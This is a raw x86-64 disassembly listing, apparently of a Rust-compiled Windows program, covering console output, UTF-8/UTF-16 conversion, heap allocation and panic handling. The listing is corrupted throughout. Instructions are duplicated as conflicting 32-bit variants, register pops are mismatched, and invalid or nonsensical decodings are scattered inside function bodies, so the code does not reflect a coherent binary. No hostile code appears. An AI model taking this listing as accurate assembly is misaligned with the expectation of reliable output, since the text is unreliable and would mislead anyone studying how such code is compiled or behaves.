mov rsi, rdx
sub rsi, rax
jb 0x14014ab3a
mov qword [rcx + 0x10], 0
je 0x14014ab26
mov rdx, rax
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
add rdx, rcx
mov r8, rsi
call sub.VCRUNTIME140.dll_memmove
mov rcx, qword [rbp - 0x10]
mov qword [rcx + 0x10], rsi
mov rax, rdi
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_alloc_src_vecmod.rs
mov rcx, rax
call fcn.140186af0
ud2
add eax, dword [rcx]
add byte [rax], al
invalid
int3
sub rsp, rax
mov rdi, r9
mov r14, rdx
mov rsi, rcx
cmp r9, 0x1001
jb 0x14014b109
mov edi, 0x1000
cmp byte [r8 + 0x1000], 0xbf
cmp byte [rax + 0x1000], 0xbf
cmp byte [rax + 0x1000], 0xbf
jg 0x14014b109
mov edi, 0xfff
cmp byte [r8 + 0xfff], 0xbf
jg 0x14014b109
xor edi, edi
cmp byte [r8 + 0xffe], 0xc0
setge dil
add rdi, 0xffd
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 0x1000
mov ecx, 0xfde9
mov edx, 8
mov r9d, edi
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x14014b289
movsxd r15, eax
clc
cmp eax, 0x1001
jae 0x14014b2c5
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x60]
lea r9, [rsp + 0x30]
mov rcx, r14
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
test eax, eax
je 0x14014b23e
mov ebx, dword [rsp + 0x30]
and al, 0x30
cmp rbx, r15
je 0x14014b25b
jae 0x14014b275
movzx eax, word [rsp + rbx*2 + 0x60]
add eax, 0x2312
movzx eax, ax
cmp eax, 0x312
jae 0x14014b1d4
lea rdx, [rsp + rbx*2]
add rdx, 0x60
inc rbx
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x30]
mov rcx, r14
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
test eax, eax
jne 0x14014b1d4
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp rbx, r15
ja 0x14014b2db
test rbx, rbx
je 0x14014b259
add rbx, rbx
xor eax, eax
xor edi, edi
jmp 0x14014b1fc
invalid
add rdi, rdx
add rax, 2
cmp rbx, rax
je 0x14014b25b
movzx ecx, word [rsp + rax + 0x60]
mov edx, 1
cmp ecx, 0x80
jb 0x14014b1f0
invalid
movzx r8d, cx
mov bh, 0xc1
mov edx, 2
cmp r8d, 0x800
jb 0x14014b1f0
add ecx, 0x2312
add byte [rax], al
movzx ecx, cx
xor edx, edx
cmp ecx, 0x312
setae dl
lea rdx, [rdx*2 + 1]
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
jmp 0x14014b1f0
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
add byte [rax], al
add bl, ch
invalid
add byte [rax], al
add bl, ch
or eax, 0x8948ff31
jle 0x14014b267
xor edi, edi
mov qword [rsi + 8], rdi
mov qword [rsi], 0
add byte [rax], al
add rsp, 0x2060
add esp, 0x2060
invalid
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
lea r8, str.library_std_src_syswindows_stdio.rs
mov rcx, rbx
mov rdx, r15
call fcn.140186a70
ud2
lea rax, str.Unexpected_error_in_MultiByteToWideChar
mov qword [rsp + 0x30], rax
xor byte [rax - 0x39], cl
and al, 0x38
and al, 0x38
add dword [rax], eax
add byte [rax], al
xor byte [rax - 0x39], cl
and al, 0x38
and al, 0x38
and al, 0x38
add dword [rax], eax
add byte [rax], al
lea rax, [0x1401ea218]
add eax, 0x9ef73
mov qword [rsp + 0x40], rax
and al, 0x40
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
and al, 0x48
and al, 0x48
lea rdx, str.library_std_src_syswindows_stdio.rs
adc eax, 0x7808f
lea rcx, [rsp + 0x30]
call fcn.1401869b0
ud2
or ecx, dword [rbp + rcx*4 + 5]
lea r8, str.library_std_src_syswindows_stdio.rs
xchg esp, eax
add byte [rdi], 0
mov edx, 0x1000
mov rcx, r15
call fcn.140186af0
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
add eax, 0x780ae
lea r8, str.library_std_src_syswindows_stdio.rs
add eax, 0x780ae
mov rcx, rbx
mov rdx, r15
call fcn.140186af0
invalid
add byte [rdi], cl
or ecx, esp
ud2
or byte [r8 - 0x75], cl
push rcx
adc byte [rax - 0x7d], cl
invalid
sub dword [rsp + 0x30], eax
invalid
sub eax, dword [rax]
add byte [rax], al
add byte [rax], al
add al, ch
call fcn.140186ec0
ud2
int3
sub rsp, 0x28
sub esp, 0x28
mov rdx, qword [rcx]
mov rcx, qword [rdx]
mov rax, qword [rdx + 8]
mov qword [rdx], 0
add byte [rax - 0x7b], cl
leave
add byte [rax - 0x7b], cl
leave
je 0x14014b38b
mov byte [rcx], 1
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
add byte [rax], al
add byte [rax - 0x39], cl
sbb byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
sbb byte [rcx], al
add byte [rax], al
add byte [rax], al
movups xmmword [rax + 0x20], xmm0
add byte [rax], al
movups xmmword [rax + 0x20], xmm0
mov qword [rax + 0x2e], 0
mov dword [rax + 0x2e], 0
mov dword [rax + 0x38], 0
add rsp, 0x28
ret
lea rcx, str.called__Option::unwrap____on_a__None__value
lea ecx, str.called__Option::unwrap____on_a__None__value
add byte [rbp + rcx*4 + 5], cl
jmp [rcx + reloc.WS2_32.dll_getsockopt]
lea r8, str.library_std_src_synconce.rs
mov edx, 0x2b
add byte [rax], al
call fcn.140186b70
ud2
int3
and al, 0x34
add bh, al
and al, 0x30
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x38], eax
and al, 0x28
mov ecx, eax
int3
int3
pop rsi
invalid
lea rbp, [rsp + 0x40]
leave
add esp, 0x40
dec dword [rax - 0x75]
invalid
js 0x14014b4be
adc dword [rbx + 6], esi
clc
clc
mov ecx, dword [0x14023c258]
add byte [rcx], dh
ror byte [rbx + rcx*4 + 0x45], cl
loopne 0x14014b524
invalid
nop
add rsp, 0x20
pop rbp
ret
push rbp
push rsi
sub rsp, 0x58
lea rbp, [rsp + 0x50]
insb byte [rdi], dx
and al, 0x50
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rcx
invalid
mov rcx, qword [rcx]
call fcn.14014b710
test rax, rax
je 0x14014b5e9
or byte [rbp - 0x7b], r9b
ror byte [rdi], 0x84
add dword [rax], 0x89440000
rol dword [rbx - 0x72b7fc1f], 0x51
push rcx
dec byte [rax - 0x7d]
cli
add dh, byte [rdx + 0x71]
test rcx, rcx
je 0x14014b5e5
xor edx, edx
mov r8, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp - 0x20]
mov qword [rsi + 8], rax
test rax, rax
setne al
add rsp, 0x58
pop rsi
pop rbp
ret
invalid
sub rsp, 0x28
mov dword [rsp + 0x24], 0
cmp edx, 0x80
jae 0x14014b663
mov byte [rsp + 0x24], dl
mov r8d, 1
jmp 0x14014b6ed
mov eax, edx
cmp edx, 0x800
jae 0x14014b688
rol byte [rcx + 0x800fa], 1
add byte [rbx + 0x1b], dh
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x24], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x25], dl
mov r8d, 2
jmp 0x14014b6ed
cmp edx, 0xffff
ja 0x14014b6b8
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x24], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x25], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x26], dl
mov r8d, 3
jmp 0x14014b6ed
shr eax, 0x12
and al, 7
invalid
or al, 0xf0
mov byte [rsp + 0x24], al
invalid
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x25], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x26], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x27], dl
and al, 0x27
mov r8d, 4
lea rdx, [rsp + 0x24]
call case.0x140135311.183
nop
add rsp, 0x28
ret
invalid
invalid
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
sub esp, 0x58
sub esp, 0x58
lea rbp, [rsp + 0x50]
and al, 0x50
mov qword [rbp], 0xfffffffffffffffe
mov dword [rbp], 0xfffffffe
invalid
dec dword [rbp - 0x7b]
test r8, r8
je 0x14014b83b
invalid
add dword [rax], eax
invalid
ror byte [rdi], 0x84
add eax, 0x4c000001
mov esi, eax
invalid
mov rsi, r8
invalid
mov rdi, rdx
mov rbx, rcx
retf
lea r14, [rbp - 0x28]
jne 0x14014b71b
retf
jne 0x14014b71b
lea r15, [0x1401c7500]
lea edi, [0x1401c7500]
mov ebp, 0x8d4c0007
and eax, 0xa4587
xchg dword [rbp + 0xa], eax
invalid
lea r12, [0x1401efcd8]
xchg dword [rbp + 0xa], eax
add byte [rbx + rcx*4 + 0x2d], cl
sar byte [rax], 1
mov r13, qword [sym.imp.KERNEL32.dll_HeapFree]
sub eax, 0x438d0
add al, 0
jmp case.0x1400d1872.999
cmp byte [rax + 0x10], 0x23
jne 0x14014b83d
test ebx, edx
add byte [rax], al
invalid
test rsi, rsi
je 0x14014b83b
mov qword [rsp + 0x20], rbx
mov rcx, r14
int1
mov edx, 0xfffffff4
mov r8, rdi
mov eax, edi
dec dword [rcx - 0x77]
clc
mov r9, rsi
call fcn.14014ac60
cmp qword [rbp - 0x28], 0
jge 0x14014b767
invalid
je case.default.0x14014b7a2
invalid
mov rax, qword [rbp - 0x20]
mov ecx, eax
and ecx, 3
loope 0x14014b79e
movsxd rcx, dword [r12 + rcx*4]
add rcx, r12
jmp rcx
loope 0x14014b725
js 0x14014b7b6
and ecx, dword [rdi]
test dword [rdi + 0x48000000], ecx
lea ecx, [rax - 1]
dec dword [rax - 0x77]
invalid
invalid
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
mov qword [rbp - 8], rcx
clc
mov qword [rbp - 0x10], rax
call qword [rax]
mov rax, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
cmp qword [rax + 8], 0
je 0x14014b826
cmp qword [rax + 0x10], 0x11
jae 0x14014b812
invalid
mov r8, qword [rbp - 8]
jmp 0x14014b81a
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x14014b84e
mov rax, rsi
sub rax, rcx
sub eax, ecx
jb 0x14014b853
add rdi, rcx
mov rsi, rax
mov esi, eax
jmp 0x14014b76a
mov r8, qword [rbp - 8]
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call r13
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp - 0x18]
call r13
jmp 0x14014b76a
xor eax, eax
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, r15
jmp 0x14014b83d
lea r8, [0x1401c1ab0]
mov rdx, rsi
call fcn.1401869f0
ud2
invalid
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x50]
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 8]
mov ecx, dword [rbp - 8]
mov ecx, dword [rbp - 8]
call fcn.140005270
mov rcx, qword [rbp - 0x18]
call fcn.140029350
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
rcr dword [rax], 0x48
lea ecx, [0x14018fea0]
add al, 0
add al, 0
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x28], rcx
and al, 0x28
and al, 0x28
lea rcx, [0x14018fe80]
add al, 0
mov qword [rsp + 0x20], rcx
and byte [rax - 0x73], cl
adc eax, 0x44579
invalid
lea rdx, str.NulError
add byte [rcx - 0x48], al
or byte [rax], al
add byte [rax], al
mov r8d, 8
mov rcx, rax
mov ecx, eax
call fcn.140017450
mov r11d, 0x4890ffec
add esp, 0x48
invalid
nop
add rsp, 0x48
invalid
ret
ret
int3
int3
int3
int3
int3
mov eax, dword [rcx]
add eax, esi
dec qword [rax]
dec dword [rax]
lock dec qword [rax]
dec dword [rax]
jne case.0x14010aa3a.897
mov rcx, qword [rcx]
jmp fcn.14014b970
invalid
add byte [rax], al
invalid
invalid
ret
int3
int3
int3
test ecx, ecx
je case.0x1400d1872.1037
mov r8, rcx
mov byte [rcx], 0
add dword [rax], eax
add dword [rax], eax
test rdx, rdx
je case.0x1400d1872.1037
sal byte [rax + rdx + 0x48], cl
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
invalid
xor edx, edx
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
add al, 0
ret
int3
int3
int3
int3
cmp ecx, 0xffffffff
sbb cl, byte [rcx - 0x77]
enter 0x48f0, 0xffffffffffffffff
lock dec qword [rcx + 8]
jne 0x14014b990
or byte [rbp + 0x10], dh
mov ecx, dword [0x14023c258]
invalid
add al, 0
int3
int3
int3
int3
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x58
sub esp, 0x58
sub esp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
invalid
mov r15, r8
mov eax, 2
inc r15
je 0x14014ba24
mov rcx, r15
shr rcx, 0x3e
jne 0x14014bb38
add dword [rax], eax
invalid
mov r14, r15
add r14, r15
je 0x14014ba24
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x14014ba10
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je case.0x1400e7c73.1044
mov rcx, rax
mov qword [0x14023c258], rax
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je case.0x1400e7c73.1044
test byte [rbx], bl
add dword [rax], eax
invalid
test byte [rbx], bl
add dword [rax], eax
add byte [rax - 0x77], cl
call 0x130924378
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], 0
add rdi, rbx
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rdi
mov word [rbp - 0x20], 0
add byte [rax], al
add byte [rax], al
lea rcx, [rbp - 0x18]
lea rdx, [rbp - 0x30]
call fcn.14014bcf0
mov r8, qword [rbp - 0x18]
mov rdx, qword [rbp - 8]
mov rax, rdx
mov rcx, r8
cmp rdx, 8
jb 0x14014bab1
mov rcx, r8
mov rax, rdx
cmp word [rcx], 0
je 0x14014bad1
cmp word [rcx + 2], 0
je 0x14014bad1
pop rax
cmp word [rcx + 4], 0
je 0x14014bad1
cmp word [rcx + 6], 0
je 0x14014bad1
cmp word [rcx + 8], 0
je 0x14014bad1
cmp word [rcx + 0xa], 0
je 0x14014bad1
cmp word [rcx + 0xc], 0
je 0x14014bad1
cmp word [rcx + 0xe], 0
je 0x14014bad1
add rax, 0xfffffffffffffff8
add rcx, 0x10
cmp rax, 7
ja 0x14014ba6c
add rax, rax
xor r9d, r9d
nop word [rax + rax]
cmp rax, r9
je case.0x140111eeb.623
cmp word [rcx + r9], 0
lea r9, [r9 + 2]
jne 0x14014bac0
lea rax, [0x1401c2e28]
mov qword [rsi + 8], rax
mov qword [rsi], 0
add byte [rax - 0x7d], cl
jge 0x14014bad7
invalid
add byte [rax - 0x77], cl
or byte [rax - 0x39], r9b
invalid
add byte [rax - 0x7d], cl
jge 0x14014bad7
cmp dword [rbp - 0x10], 0
add byte [rcx + rax*2 + 0x48], dh
mov ecx, dword [0x14023c258]
je 0x14014bb2b
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x4352f
jmp 0x14014bb2b
cmp rdx, qword [rbp - 0x10]
jne 0x14014bb12
lea rcx, [rbp - 0x18]
call fcn.14014be80
jbe 0x14014bb0b
add byte [rax], al
jbe 0x14014bb0b
add byte [rax], al
mov r8, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov rdx, qword [rbp - 8]
mov word [r8 + rdx*2], 0
inc rdx
mov qword [rbp - 8], rdx
mov qword [rsi + 0x10], rdx
movups xmm0, xmmword [rbp - 0x18]
movups xmmword [rsi], xmm0
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
call fcn.1400106d0
ud2
xchg ebx, eax
in al, dx
dec dword [rdi]
or edi, dword [rcx + 2]
mov ecx, 2
mov ecx, 2
mov rdx, r14
mov edx, esi
call fcn.140186620
ud2
adc byte [rbp + 0x41], dl
push rdi
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x50]
push 0x50
sub byte [rax - 0x73], cl
push 0x50
mov rcx, qword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
mov rdx, qword [rbp - 0x10]
call fcn.140046050
movsb byte [rdi], byte [rsi]
out dx, eax
invalid
invalid
movsb byte [rdi], byte [rsi]
out dx, eax
call qword [rax + 0x28c48348]
nop
add rsp, 0x28
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
sub rsp, 0x40
lea rbp, [rsp + 0x40]
insb byte [rdi], dx
and al, 0x40
lea rbp, [rsp + 0x40]
insb byte [rdi], dx
and al, 0x40
mov qword [rbp - 8], 0xfffffffffffffffe
mov r8, qword [rcx]
mov eax, dword [rcx]
clc
invalid
invalid
mov eax, dword [rcx]
test r8, r8
test eax, eax
je 0x14014bbb6
cmp qword [rcx + 8], 0
je 0x14014bbce
mov rcx, qword [0x14023c258]
xor edx, edx
add rsp, 0x40
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rcx + 8]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x14014bbce
test rcx, rcx
jne 0x14014bbd4
add rsp, 0x40
pop rbp
ret
lea rcx, [rax - 1]
mov qword [rbp - 0x20], rcx
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 0x18], rax
call qword [rax]
mov rax, qword [rbp - 0x18]
cmp qword [rax + 8], 0
je 0x14014bc1d
cmp qword [rax + 0x10], 0x11
jae 0x14014bc06
mov r8, qword [rbp - 0x10]
jmp 0x14014bc0e
mov r8, qword [rbp - 0x10]
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp - 0x20]
add rsp, 0x40
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
add byte [rax - 0x77], cl
sar edi, 0x15
and dh, byte [rsp + rax]
add byte [rax - 0x7b], cl
sal byte [rbp + 7], 0x48
lea eax, [0x14014bcd0]
mov qword [0x14023c070], rax
mov rcx, rdi
mov rdx, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp rax
shl ecx, 6
or ecx, r8d
mov r12d, ecx
xor ebp, ebp
mov r13, rax
mov ebp, eax
mov ebp, eax
mov rbx, qword [rdi + 0x10]
cmp rbx, qword [rdi + 8]
pop rdi
or byte [rdi], cl
test bl, bh
add byte [rax], al
invalid
mov rax, qword [rdi]
mov word [rax + rbx*2], r12w
and al, 0x58
inc rbx
mov qword [rdi + 0x10], rbx
adc byte [rcx - 0x77], al
in al, dx
test r12w, r12w
jne 0x14014bde0
cmp r13, r14
je 0x14014be60
add al, 1
add byte [rax], al
lea rax, [r13 + 1]
mov qword [rsi], rax
movzx edx, byte [r13]
movzx r12d, dl
movzx esp, dl
test r12b, r12b
jns 0x14014bd24
mov ecx, r12d
and ecx, 0x1f
loope 0x14014bd96
lea rax, [r13 + 2]
mov qword [rsi], rax
invalid
movzx r8d, byte [r13 + 1]
add dword [r9 - 0x7d], r8d
loopne 0x14014bdc6
cmp r12b, 0xdf
jbe 0x14014bd1b
lea rax, [r13 + 3]
mov qword [rsi], rax
movzx r12d, byte [r13 + 2]
movzx esp, byte [rbp + 2]
shl r8d, 6
and r12d, 0x3f
or r12d, r8d
cmp dl, 0xf0
cli
invalid
jb 0x14014bded
lea rax, [r13 + 4]
mov qword [rsi], rax
movzx edx, byte [r13 + 3]
movzx edx, byte [rbp + 3]
and ecx, 7
shl ecx, 0x12
loope 0x14014bdcd
shl r12d, 6
and edx, 0x3f
or edx, r12d
or edx, ecx
mov r12d, edx
cmp r12d, 0xffff
jbe 0x14014bd24
jmp 0x14014be00
add byte [rax], 0
add byte [rax], al
mov word [rsi + 0x10], 0
xor ebp, ebp
adc byte [rax], al
add byte [rcx], dh
in eax, dx
jmp 0x14014bd29
shl ecx, 0xc
or r12d, ecx
cmp r12d, 0xffff
jbe 0x14014bd24
lea ecx, [r12 + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
leave
add al, bl
add byte [rax], al
leave
add al, bl
add byte [rax], al
and r12d, 0x3ff
or r12d, 0xdc00
mov word [rsi + 0x10], r12w
mov r13, rax
mov ebp, r12d
mov r12d, ecx
jmp 0x14014bd29
mov r8, r14
sub r8, r13
add r8, 3
cmovb r8, r15
shr r8, 2
cmp bp, 1
sbb r8, 0
add r8, 2
mov rcx, rdi
mov rdx, rbx
invalid
call fcn.14018b7c0
stc
add eax, dword [rax]
invalid
jmp 0x14014bd37
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rsi, rcx
mov rcx, qword [rcx + 8]
lea rax, [rcx + rcx]
lea eax, [rcx + rcx]
lea eax, [rcx + rcx]
cmp rax, rdx
cmova rdx, rax
cmp rdx, 5
mov edi, 4
add byte [rax + 0xf], cl
cli
add byte [rax + 0xf], cl
cli
xor edx, edx
mov r8, rdi
shr r8, 0x3e
sete dl
ret 0x8d4c
add al, 0x3f
add rdx, rdx
ror byte [rax - 0x7b], cl
leave
ret 0x8d4c
ror byte [rax - 0x7b], cl
leave
je 0x14014bede
mov rcx, qword [rsi]
mov qword [rsp + 0x28], rcx
sub byte [rax - 0x39], cl
and al, 0x30
add al, byte [rax]
add byte [rax], al
invalid
sub byte [rax - 0x39], cl
and al, 0x30
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax - 0x77], cl
and al, 0x38
mov qword [rsp + 0x38], rax
jmp 0x14014bee7
mov qword [rsp + 0x30], 0
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x40]
and al, 0x40
lea r9, [rsp + 0x28]
call fcn.140056370
cmp qword [rsp + 0x40], 0
jl 0x14014bf1e
add byte [rax - 0x75], cl
and al, 0x48
jl 0x14014bf1e
add byte [rax - 0x75], cl
and al, 0x48
je 0x14014bf1e
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x14014bf25
add byte [rax], al
add byte [rax + 0x74c13948], al
adc ecx, dword [rax - 0x7b]
test rcx, rcx
leave
jne 0x14014bf2c
call fcn.1400106d0
ud2
mov qword [rsi], rcx
mov qword [rsi + 8], rdi
invalid
or byte [rax - 0x7d], cl
invalid
add rsp, 0x58
pop rdi
pop rsi
ret
mov rdx, qword [rsp + 0x50]
call fcn.140186620
ud2
int3
int3
int3
in al, dx
push rax
add eax, 0xf03c1
mov ecx, dword [0x58]
add byte [rax - 0x75], cl
add al, 0xc1
js 0x14014bf5d
add byte [rax], al
test dword [rsi - 0x75000000], edx
add byte [rax], al
add byte [rbx + 0xf039a05], cl
add eax, 0xf039a
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
xor al, 0xc1
invalid
add byte [rax - 0x73], cl
adc eax, 0xffffe0f3
loopne 0x14014bf8b
loopne 0x14014bf8b
invalid
invalid
invalid
inc esi
xchg byte [rax], bh
js 0x14014bf96
js 0x14014bf96
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add dword [rbx + 0xf036d05], ecx
add eax, 0xf036d
verr word [rbp + 0x48]
add byte [rbp + 0x48], ah
mov rcx, qword [0x58]
mov ecx, dword [0x58]
and eax, 0x58
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rcx + rax*8]
add al, 0xc1
jo 0x14014bfb1
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbp + 0x3e], 0x31
leave
xlatb
invalid
and eax, 0x58
add byte [rax], al
add byte [rbp + 0x32], dh
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rdx + rcx*8]
mov ecx, dword [rdx + rcx*8]
retf 0x8948
mov dword [rcx + 0x70], eax
xor dword [rax], 0x48f00000
add byte [rax], al
add al, dh
add byte [rax], al
inc qword [rax]
inc dword [rax]
add esp, 0x50
invalid
push rax
ror byte [rax - 0x7d], 0xc4
invalid
push rax
or ecx, dword [rdi]
or ecx, dword [rax - 0x77]
mov dword [rsp + 0x20], eax
and al, 0x20
and al, 0x20
invalid
invalid
add byte [rax - 0x77], cl
and al, 0x20
invalid
mov dword [rsp + 0x20], eax
sub byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x9e1df
invalid
or dword [rax], eax
and al, 0x30
xor byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x38
cmp byte [rax - 0x73], cl
adc eax, 0x74653
push rbx
invalid
lea ecx, [rsp + 0x20]
and al, ch
pop rcx
test eax, 0xb0f0003
add eax, dword [rax]
int3
int3
int3
sub esp, 0x78
js 0x14014bfeb
sal byte [rsp + rax - 0x3a], cl
add al, 0xc6
adc byte [r9], al
add eax, esi
dec qword [rcx + 8]
invalid
invalid
or byte [r13 + 0xc], sil
or al, 0x48
mov esi, dword [rcx]
add dword [rsi - 0xc3d7ba], eax
add esi, 0x28
mov eax, dword [0x14023c2a0]
str word [rax - 0x7b]
sal byte [rsp + rcx + 0x48], 0x89
int1
mov ecx, esi
invalid
mov ebp, 0x48000eff
cmp ecx, 0xffffffff
invalid
push qword [rbp + 0x49]
and al, 0x30
xor bh, bh
invalid
add eax, 0xeffbf
and al, 0x30
add byte [rax], al
add al, al
invalid
rol byte [rbp + 0x31], 0xc0
xor eax, eax
and al, 0x30
mov eax, 0xffffffff
invalid
cmpxchg dword [0x14023c068], ecx
dec dword [rsi]
add byte [rsp + rcx + 0x48], dh
or al, 0x48
mov edi, eax
adc eax, 0x42f39
add al, 0
stc
mov eax, dword [0x14023c088]
xchg edi, edi
invalid
add byte [rax - 0x77], cl
xor r8d, r8d
xor eax, eax
mov edx, esi
xor eax, eax
leave
jo 0x14014c10e
invalid
invalid
lea eax, [rsp + 0x2c]
sub al, 0x48
mov dword [rsp + 0x38], eax
and al, 0x38
and al, 0x38
and al, 0x38
add eax, 0xffecd40a
invalid
dec dword [rax - 0x77]
and al, 0x40
and al, 0x40
and al, 0x40
lea rax, str.Unable_to_create_keyed_event_handle:_error
add eax, 0x77316
add byte [rax - 0x77], cl
and al, 0x48
and al, 0x48
and al, 0x48
and al, 0x50
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
and al, 0x68
mov dword [rsp + 0x68], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rsp + 0x38]
cmp byte [rax - 0x77], cl
mov dword [rsp + 0x58], eax
and al, 0x58
and al, 0x58
mov dword [rsp + 0x60], 1
and al, 0x60
and al, 0x60
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x73], cl
adc eax, 0x77325
invalid
add byte [rax - 0x73], cl
and al, 0x48
lea ecx, [rsp + 0x48]
test al, 3
add byte [rdi], cl
or ecx, esp
int3
add eax, dword [rax]
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
sub esp, 0x68
in al, dx
push 0x246c8d48
lea ebp, [rsp + 0x60]
invalid
mov dword [rbp], 0xfffffffe
add r14b, r15b
invalid
invalid
invalid
inc dword [rcx + rcx*4 - 0x3a]
mov edi, edx
xlatb
retf
jmp 0x14014c1a3
add byte [rdi], cl
add byte [rax - 0x7b], cl
invalid
invalid
str word [rax - 0x7b]
test ecx, ecx
leave
mov qword cs:[rbp - 8], 0
clc
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
clc
clc
lea ecx, [rbp - 8]
clc
invalid
invalid
add al, 0
ror byte [rdi], 0x84
cmp eax, 0x48000001
add dword [rax], eax
invalid
invalid
test byte [0x18814c1c6], bh
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
invalid
mov ecx, dword [rbp - 8]
clc
mov dword [0x14023c290], ecx
or eax, 0xf00c1
rol dword [rax], 0xf
add byte [rdi], cl
str word [rax - 0x7b]
add byte [rax - 0x7b], cl
leave
test byte [rdi], cl
sgdt [rax]
add dword [rax], eax
add byte [rbp + 0x31], al
ror byte [rax - 0x7d], 0xf9
invalid
invalid
stc
xor eax, eax
stc
add al, byte [rcx + 0xf]
xchg edx, eax
ror byte [rax - 0x7f], 0xf9
stc
